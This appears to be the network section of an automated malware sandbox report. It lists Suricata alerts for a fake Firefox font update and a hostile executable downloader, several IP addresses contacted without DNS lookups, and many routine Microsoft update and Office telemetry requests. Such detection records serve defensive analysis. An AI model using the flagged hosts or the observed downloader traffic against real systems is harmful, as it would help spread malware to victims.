Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49939 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49945 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49951 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49955 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49931 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49980 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49990 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50005 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50014 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50231 -> 20.189.173.15:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50196 -> 20.189.173.20:443

Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.221.240
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.221.240
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.221.240
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=uMudn9COvFFTZ92&MD=6mTV+hOs HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=uMudn9COvFFTZ92&MD=6mTV+hOs HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
